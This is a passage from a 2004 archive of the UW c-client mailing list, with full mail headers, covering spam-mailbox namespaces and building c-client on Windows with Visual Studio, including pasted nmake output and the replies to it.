(8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9HITINd075400 for ; Sun, 17 Oct 2004 11:29:18 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9HITISJ019911 for ; Sun, 17 Oct 2004 11:29:18 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with ESMTP id 16A2E3E80B0; Sun, 17 Oct 2004 13:25:00 -0500 (CDT) Received: from mail.bynari.net ([127.0.0.1]) by localhost (mail.bynari.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 25107-06; Sun, 17 Oct 2004 13:24:59 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 404) id 299143E8109; Sun, 17 Oct 2004 13:24:59 -0500 (CDT) Received: from [10.0.1.2] (unknown [69.10.213.3]) by mail.bynari.net (Postfix) with ESMTP id B23BB3E80B0; Sun, 17 Oct 2004 13:24:58 -0500 (CDT) Message-Id: <4172BA6E.4080609@bynari.net> Date: Sun, 17 Oct 2004 11:31:10 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Charles Dorner To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: sending an embedded message with c-client (as an attachment in a TYPEMULTIPART e-mail) In-Reply-To: <4172B8C3.20809@bynari.net> References: <41729C4B.8090903@bynari.net> <4172B8C3.20809@bynari.net> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Virus-Scanned: by amavisd-new at bynari.net X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Go ahead and disregard my last e-mail. I found a workaround. From pinedev@shivax2.cac.washington.edu Wed Oct 20 06:42:59 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Oct 2004 06:42:59 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KDgxi3029496 for ; Wed, 20 Oct 2004 06:42:59 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KDgw3B007849 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 20 Oct 2004 06:42:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9KDgk7e011262; Wed, 20 Oct 2004 06:42:46 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KDenBP060120 for ; Wed, 20 Oct 2004 06:40:49 -0700 Received: from mail1.RZ.Uni-Augsburg.DE (mail1.RZ.Uni-Augsburg.DE [137.250.121.10]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9KDelQH017183 for ; Wed, 20 Oct 2004 06:40:48 -0700 Received: from bernina.physik.uni-augsburg.de ([137.250.80.10]) by mail1.RZ.Uni-Augsburg.DE with esmtp (Exim 4.34) id 1CKGhq-000A1y-N7 for c-client@u.washington.edu; Wed, 20 Oct 2004 15:40:46 +0200 Received: from watzmann.physik.uni-augsburg.de ([137.250.80.192]) by bernina.Physik.Uni-Augsburg.DE with esmtp (Exim 4.30) id 1CKGhr-0008qy-IN for c-client@u.washington.edu; Wed, 20 Oct 2004 15:40:47 +0200 Message-Id: <41766ADE.9090104@Physik.Uni-Augsburg.DE> Date: Wed, 20 Oct 2004 15:40:46 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ralf Utermann To: c-client@u.washington.edu Subject: adding a namespace for spam MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Accept-Language: en-us, en X-Enigmail-Version: 0.86.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Virus-Scanned: d9cf539ec95bb78dff64ee7baeab8ec7 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, we currently test a mail system doing spam detection before delivery. Spam, which has been detected, as well as training mailboxes for good and spam, should be located in a separate directory (per user) on the server, not in the users home directory (because the spam training program has no access to the Homes). Could this be implemented with a separate namespace? Any hints about how to do this? Another possibility would be to trigger the imapd to run the spam training on specific mailboxes in the normal namespace; the the spam classifier would run with iampd's (that is the users) credentials and could access the Homes. Would be nice, because we wouldn't need a cron job testing for new training stuff and the spam detection database would be immediately up to date for the users. For testing purposes I work with a separate imapd on a different port, with a changed mymailboxdir and SUBSCRIPTIONFILE For production I would prefer to have the 'spam system' mailboxes within the normal imap account, so people don't need to login to two accounts. Any comments or ideas? Thanks, Ralf -- Ralf Utermann _____________________________________________________________________ Universität Augsburg, Institut für Physik -- EDV-Betreuer Universitätsstr.1 D-86135 Augsburg Phone: +49-821-598-3231 SMTP: Ralf.Utermann@Physik.Uni-Augsburg.DE Fax: -3411 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 20 08:40:06 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Oct 2004 08:40:06 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KFe6ON000488 for ; Wed, 20 Oct 2004 08:40:06 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KFe5D4015183 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 20 Oct 2004 08:40:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9KFdtuS011442; Wed, 20 Oct 2004 08:39:55 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KFcTdo120006 for ; Wed, 20 Oct 2004 08:38:29 -0700 Received: from imo-d21.mx.aol.com (imo-d21.mx.aol.com [205.188.144.207]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9KFcSm9013856 for ; Wed, 20 Oct 2004 08:38:28 -0700 Received: from DavidDDaveg@aol.com by imo-d21.mx.aol.com (mail_out_v37_r3.8.) id d.15b.424c65bd (4238) for ; Wed, 20 Oct 2004 11:38:18 -0400 (EDT) Message-Id: <15b.424c65bd.2ea7e06a@aol.com> Date: Wed, 20 Oct 2004 11:38:18 EDT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: DavidDDaveg@aol.com To: c-client@u.washington.edu Subject: build a IMAP client only with c-client MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="-----------------------------1098286698" X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __AOL_FROM 0, __BAT_BOUNDARY 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_HEAD 0, __TAG_EXISTS_HTML 0, __TAG_EXISTS_META 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -------------------------------1098286698 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Hi, I am trying to use c-client to build a IMAP client on win xp. Do I have to build all of the modules in this suite, or is there "client" only build which only build those needed for client? Is there a makefile for using Microsoft Visual Studio.Net (vc 7)? Is that correct if the mtest is build successfully, it can be used to communicate with any public IMAP server? Thanks for your help! -D -------------------------------1098286698 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable
    Hi,

    I am trying to use c-client to build a IMAP client on win xp= .=20
    Do I have to build all of the modules in this suite, or is there=20 "client" 
    only build which only build those needed for=20 client?

    Is there a makefile for using Microsoft Visual Studio.Net (vc= =20 7)?

    Is that correct if the mtest is build successfully, it can be use= d=20 to 
    communicate with any public IMAP server?

    Thanks for your= =20 help!

    -D
     -------------------------------1098286698-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 20 08:45:56 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Oct 2004 08:45:56 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KFjuJm000673 for ; Wed, 20 Oct 2004 08:45:56 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KFjtxQ015561 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 20 Oct 2004 08:45:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9KFjnB0014318; Wed, 20 Oct 2004 08:45:49 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KFjC93078498 for ; Wed, 20 Oct 2004 08:45:12 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9KFjCx9028799 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 20 Oct 2004 08:45:12 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout4.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KFjBNE024722; Wed, 20 Oct 2004 08:45:11 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KFjBi8009282; Wed, 20 Oct 2004 08:45:11 -0700 Message-Id: Date: Wed, 20 Oct 2004 08:45:11 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: DavidDDaveg@aol.com Cc: c-client@u.washington.edu Subject: Re: build a IMAP client only with c-client In-Reply-To: <15b.424c65bd.2ea7e06a@aol.com> References: <15b.424c65bd.2ea7e06a@aol.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 20 Oct 2004 DavidDDaveg@aol.com wrote: > I am trying to use c-client to build a IMAP client on win xp. > Do I have to build all of the modules in this suite, or is there "client" > only build which only build those needed for client? You will probably find that you need everything in c-client. > Is there a makefile for using Microsoft Visual Studio.Net (vc 7)? "make w2k" works just fine, although note from the instructions that you need to have the Microsoft Platform SDK installed. > Is that correct if the mtest is build successfully, it can be used to > communicate with any public IMAP server? Yes. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Oct 20 09:31:43 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Oct 2004 09:31:42 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KGVgRR002604 for ; Wed, 20 Oct 2004 09:31:42 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KGVdP5018971 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 20 Oct 2004 09:31:40 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9KGVVTo011924; Wed, 20 Oct 2004 09:31:31 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KGUD6j065376 for ; Wed, 20 Oct 2004 09:30:13 -0700 Received: from imo-d21.mx.aol.com (imo-d21.mx.aol.com [205.188.144.207]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9KGUCtf024177 for ; Wed, 20 Oct 2004 09:30:12 -0700 Received: from DavidDDaveg@aol.com by imo-d21.mx.aol.com (mail_out_v37_r3.8.) id d.15d.419af106 (4238) for ; Wed, 20 Oct 2004 12:29:54 -0400 (EDT) Message-Id: <15d.419af106.2ea7ec81@aol.com> Date: Wed, 20 Oct 2004 12:29:53 EDT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: DavidDDaveg@aol.com To: c-client@u.washington.edu Subject: Fwd: build a IMAP client only with c-client MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="part1_15d.419af106.2ea7ec81_boundary" X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __AOL_FROM 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_HEAD 0, __TAG_EXISTS_HTML 0, __TAG_EXISTS_META 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --part1_15d.419af106.2ea7ec81_boundary Content-Type: multipart/alternative; boundary="-----------------------------1098289793" -------------------------------1098289793 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit -------------------------------1098289793 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable
     
     -------------------------------1098289793-- --part1_15d.419af106.2ea7ec81_boundary Content-Type: message/rfc822 Content-Disposition: inline Return-path: From: DavidDDaveg@aol.com Full-name: DavidDDaveg Message-ID: <1f1.2d56f936.2ea7eb58@aol.com> Date: Wed, 20 Oct 2004 12:24:56 EDT Subject: Re: build a IMAP client only with c-client To: mrc@CAC.Washington.EDU MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="-----------------------------1098289496" X-Mailer: AOL Strauss Beta Client sub 65535 -------------------------------1098289496 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 2004/10/20 11:45:30 Eastern Daylight Time, mrc@CAC.Washington.EDU writes: > Is there a makefile for using Microsoft Visual Studio.Net (vc 7)? "make w2k" works just fine, although note from the instructions that you need to have the Microsoft Platform SDK installed. I just tried to use vc 7 to do the build, it went through(?) with some warnings, seems not complete but without fatal error. It does not complain about Microsoft Platform SDK stuff though. After it stoped, seems these lines not executed: " clean: $(RD) c-client mtest mailutil ipopd imapd # A monument to a hack of long ago and far away... love: @echo 'not war?' " Any suggestion? Has someone build it with VC7 using the current makefile.w2k? Thanks! following is the output of the build: ----------------------------- C:\imap\c-client_2_vc_7\imap.tar\imap-2004a>nmake -f makefile.w2k Microsoft (R) Program Maintenance Utility Version 7.10.3077 Copyright (C) Microsoft Corporation. All rights reserved. cd c-client nmake /nologo /f makefile.w2k IP=6 cl -c /MT /W3 /Ox /DWIN32 -nologo /I.. os_w2k.c os_w2k.c cl -c /MT /W3 /Ox /DWIN32 -nologo /I.. mbxnt.c mbxnt.c cl -c /MT /W3 /Ox /DWIN32 -nologo /I.. mtxnt.c mtxnt.c cl -c /MT /W3 /Ox /DWIN32 -nologo /I.. tenexnt.c tenexnt.c cl -c /MT /W3 /Ox /DWIN32 -nologo /I.. unixnt.c unixnt.c cl -c /MT /W3 /Ox /DWIN32 -nologo /I.. dummynt.c dummynt.c cl -c /MT /W3 /Ox /DWIN32 -nologo /I.. pseudo.c pseudo.c if exist cclient.lib del cclient.lib LIB /NOLOGO /OUT:cclient.lib mail.obj misc.obj fdstring.obj flstring.obj netmsg.obj newsrc.obj rfc 822.obj smanager.obj utf8.obj imap4r1.obj nntp.obj pop3.obj smtp.obj os_w2k.obj mbxnt.obj mtxnt.obj tenexn t.obj unixnt.obj dummynt.obj pseudo.obj cd ..\mtest nmake /nologo /f makefile.w2k IP=6 cl -I..\c-client /MT /W3 /DWIN32 -nologo /c mtest.c mtest.c LINK /NOLOGO /DEF:mtest.def mtest.obj ..\c-client\cclient.lib wsock32.lib winmm.lib advapi32.lib sec ur32.lib crypt32.lib mtest.def(6) : warning LNK4017: DESCRIPTION statement not supported for the target platform; ignored Creating library mtest.lib and object mtest.exp cd ..\mailutil nmake /nologo /f makefile.w2k IP=6 cl -I..\c-client /MT /W3 /DWIN32 -nologo /c mailutil.c mailutil.c LINK /NOLOGO /DEF:mailutil.def mailutil.obj ..\c-client\cclient.lib wsock32.lib winmm.lib advapi32.l ib secur32.lib crypt32.lib mailutil.def(6) : warning LNK4017: DESCRIPTION statement not supported for the target platform; ignored Creating library mailutil.lib and object mailutil.exp cd ..\ipopd nmake /nologo /f makefile.w2k IP=6 cl -I..\c-client /MT /W3 /DWIN32 -nologo /c ipop2d.c ipop2d.c LINK /NOLOGO /DEF:ipop2d.def ipop2d.obj ..\c-client\cclient.lib wsock32.lib winmm.lib advapi32.lib s ecur32.lib crypt32.lib ipop2d.def(6) : warning LNK4017: DESCRIPTION statement not supported for the target platform; ignored Creating library ipop2d.lib and object ipop2d.exp cl -I..\c-client /MT /W3 /DWIN32 -nologo /c ipop3d.c ipop3d.c LINK /NOLOGO /DEF:ipop3d.def ipop3d.obj ..\c-client\cclient.lib wsock32.lib winmm.lib advapi32.lib s ecur32.lib crypt32.lib ipop3d.def(6) : warning LNK4017: DESCRIPTION statement not supported for the target platform; ignored Creating library ipop3d.lib and object ipop3d.exp cd ..\imapd nmake /nologo /f makefile.w2k IP=6 cl -I..\c-client /MT /W3 /DWIN32 -nologo -DALERTFILE=\"_\\imapd.alert\_ (file://\\imapd.alert\) " -DNNTPFILE=\"_\\imapd.nntp\_ (file://\\imapd.nntp\) " -DUSERALERTFILE=\"alert.txt\" -DANOFILE=\"_\\anonymous.newsgroups\_ (file://\\anonymous.newsgroups\) " -DSHUTDOWNFILE=\"_\\nologin\_ (file://\\nologin\) " /c imapd.c imapd.c LINK /NOLOGO /DEF:imapd.def imapd.obj ..\c-client\cclient.lib wsock32.lib winmm.lib advapi32.lib sec ur32.lib crypt32.lib imapd.def(6) : warning LNK4017: DESCRIPTION statement not supported for the target platform; ignored Creating library imapd.lib and object imapd.exp cd .. C:\imap\c-client_2_vc_7\imap.tar\imap-2004a> -------------------------------1098289496 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable
    In a message dated 2004/10/20 11:45:30 Eastern Daylight Time,=20 mrc@CAC.Washington.EDU writes:
    <= FONT=20 style=3D"BACKGROUND-COLOR: #dddfc6" face=3DArial color=3D#000000 size=3D2>= > Is=20 there a makefile for using Microsoft Visual Studio.Net (vc =20 7)?

    "make w2k" works just fine, although note from the instructions= =20 that you
    need to have the Microsoft Platform SDK=20 installed.
    I just tried to use vc 7 to do the build, it went through(?) with some=20 warnings, seems not complete but without fatal error. It does not compl= ain=20 about Microsoft Platform SDK stuff= =20 though.
     
    After it stoped, seems these lines not executed:
    "
    clean:
     $(RD) c-client mtest mailutil ipopd imapd
     
    # A monument to a hack of long ago and far away...
    love:
     @e= cho=20 'not war?'
    "
    Any suggestion?
    Has someone build it with VC7 using the current makefile.w2k?
     
    Thanks!
     
    following is the output of the build:
    -----------------------------
    C:\imap\c-client_2_vc_7\imap.tar\imap-2004a>nmake -f makefile.w2k
     
    Microsoft (R) Program Maintenance Utility Version 7.10.3077
    Copyrigh= t=20 (C) Microsoft Corporation.  All rights reserved.
     
            cd=20 c-client
            nmake /nologo /f=20 makefile.w2k IP=3D6
            cl -c /MT=20= /W3=20 /Ox /DWIN32 -nologo /I.. =20 os_w2k.c
    os_w2k.c
            cl -c /MT= /W3=20 /Ox /DWIN32 -nologo /I.. =20 mbxnt.c
    mbxnt.c
            cl -c /MT /= W3=20 /Ox /DWIN32 -nologo /I.. =20 mtxnt.c
    mtxnt.c
            cl -c /MT /= W3=20 /Ox /DWIN32 -nologo /I.. =20 tenexnt.c
    tenexnt.c
            cl -c /= MT=20 /W3 /Ox /DWIN32 -nologo /I.. =20 unixnt.c
    unixnt.c
            cl -c /MT= /W3=20 /Ox /DWIN32 -nologo /I.. =20 dummynt.c
    dummynt.c
            cl -c /= MT=20 /W3 /Ox /DWIN32 -nologo /I.. =20 pseudo.c
    pseudo.c
            if exist=20 cclient.lib del cclient.lib
            LI= B=20 /NOLOGO /OUT:cclient.lib  mail.obj misc.obj fdstring.obj flstring.obj=20 netmsg.obj  newsrc.obj rfc
    822.obj smanager.obj utf8.obj =20 imap4r1.obj nntp.obj pop3.obj smtp.obj os_w2k.obj  mbxnt.obj mtxnt.obj=20 tenexn
    t.obj unixnt.obj dummynt.obj=20 pseudo.obj
            cd=20 ..\mtest
            nmake /nologo /f=20 makefile.w2k IP=3D6
            cl -I..\c-= client=20 /MT /W3 /DWIN32 -nologo  /c=20 mtest.c
    mtest.c
            LINK /NOLOG= O=20 /DEF:mtest.def mtest.obj ..\c-client\cclient.lib wsock32.lib winmm.lib=20 advapi32.lib sec
    ur32.lib crypt32.lib
    mtest.def(6) : warning LNK4017:=20 DESCRIPTION statement not supported for the target platform;=20 ignored
       Creating library mtest.lib and object=20 mtest.exp
            cd=20 ..\mailutil
            nmake /nologo /f=20 makefile.w2k IP=3D6
            cl -I..\c-= client=20 /MT /W3 /DWIN32 -nologo  /c=20 mailutil.c
    mailutil.c
            LINK=20 /NOLOGO /DEF:mailutil.def mailutil.obj ..\c-client\cclient.lib wsock32.lib=20 winmm.lib advapi32.l
    ib secur32.lib crypt32.lib
    mailutil.def(6) : warn= ing=20 LNK4017: DESCRIPTION statement not supported for the target platform;=20 ignored
       Creating library mailutil.lib and object=20 mailutil.exp
            cd=20 ..\ipopd
            nmake /nologo /f=20 makefile.w2k IP=3D6
            cl -I..\c-= client=20 /MT /W3 /DWIN32 -nologo  /c=20 ipop2d.c
    ipop2d.c
            LINK /NOL= OGO=20 /DEF:ipop2d.def ipop2d.obj ..\c-client\cclient.lib wsock32.lib winmm.lib=20 advapi32.lib s
    ecur32.lib crypt32.lib
    ipop2d.def(6) : warning LNK4017:= =20 DESCRIPTION statement not supported for the target platform;=20 ignored
       Creating library ipop2d.lib and object=20 ipop2d.exp
            cl -I..\c-client /M= T=20 /W3 /DWIN32 -nologo  /c=20 ipop3d.c
    ipop3d.c
            LINK /NOL= OGO=20 /DEF:ipop3d.def ipop3d.obj ..\c-client\cclient.lib wsock32.lib winmm.lib=20 advapi32.lib s
    ecur32.lib crypt32.lib
    ipop3d.def(6) : warning LNK4017:= =20 DESCRIPTION statement not supported for the target platform;=20 ignored
       Creating library ipop3d.lib and object=20 ipop3d.exp
            cd=20 ..\imapd
            nmake /nologo /f=20 makefile.w2k IP=3D6
            cl -I..\c-= client=20 /MT /W3 /DWIN32 -nologo  -DALERTFILE=3D\"\\imapd.alert\" -DNNTPFILE=3D\"\\imapd.nntp\"
    -DUSERALERTFILE=3D\"aler= t.txt\"=20 -DANOFILE=3D\"\\anonymous.newsgroups\"=20 -DSHUTDOWNFILE=3D\"\\nologin\" /c=20 imapd.c
    imapd.c
            LINK /NOLOG= O=20 /DEF:imapd.def imapd.obj ..\c-client\cclient.lib wsock32.lib winmm.lib=20 advapi32.lib sec
    ur32.lib crypt32.lib
    imapd.def(6) : warning LNK4017:=20 DESCRIPTION statement not supported for the target platform;=20 ignored
       Creating library imapd.lib and object=20 imapd.exp
            cd ..
     
    C:\imap\c-client_2_vc_7\imap.tar\imap-2004a>
     -------------------------------1098289496-- --part1_15d.419af106.2ea7ec81_boundary-- From pinedev@shivax2.cac.washington.edu Wed Oct 20 10:00:27 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Oct 2004 10:00:27 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KH0RI5003901 for ; Wed, 20 Oct 2004 10:00:27 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KH0Q21031027 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 20 Oct 2004 10:00:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9KH0KGI011784; Wed, 20 Oct 2004 10:00:20 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KGxB7A123214 for ; Wed, 20 Oct 2004 09:59:11 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9KGxAgq032291 for ; Wed, 20 Oct 2004 09:59:10 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with ESMTP id 50C043E809C for ; Wed, 20 Oct 2004 11:54:40 -0500 (CDT) Received: from mail.bynari.net ([127.0.0.1]) by localhost (mail.bynari.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 05423-06 for ; Wed, 20 Oct 2004 11:54:38 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 404) id E7D7E3E80A2; Wed, 20 Oct 2004 11:54:38 -0500 (CDT) Received: from [10.0.1.2] (unknown [69.10.213.3]) by mail.bynari.net (Postfix) with ESMTP id 9205B3E809C for ; Wed, 20 Oct 2004 11:54:38 -0500 (CDT) Message-Id: <417699CB.60008@bynari.net> Date: Wed, 20 Oct 2004 10:00:59 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Charles Dorner To: c-client@u.washington.edu Subject: Re: Fwd: build a IMAP client only with c-client MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Virus-Scanned: by amavisd-new at bynari.net X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN DavidDDaveg@aol.com wrote on 10/20/2004 9:29 AM: > I just tried to use vc 7 to do the build, it went through(?) with some > warnings, seems not complete but without fatal error. It does not > complain about Microsoft Platform SDK stuff though. It actually compiled and completed just fine, as can be seen from this line: > Creating library imapd.lib and object imapd.exp > After it stoped, seems these lines not executed: Those lines are for other uses of the make command, entering "make clean" will execute the lines after "clean:". The lines after "love:" are for fun / an easter egg. Charles Dorner From pinedev@shivax2.cac.washington.edu Wed Oct 20 14:19:56 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Oct 2004 14:19:56 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KLJu9L015293 for ; Wed, 20 Oct 2004 14:19:56 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with 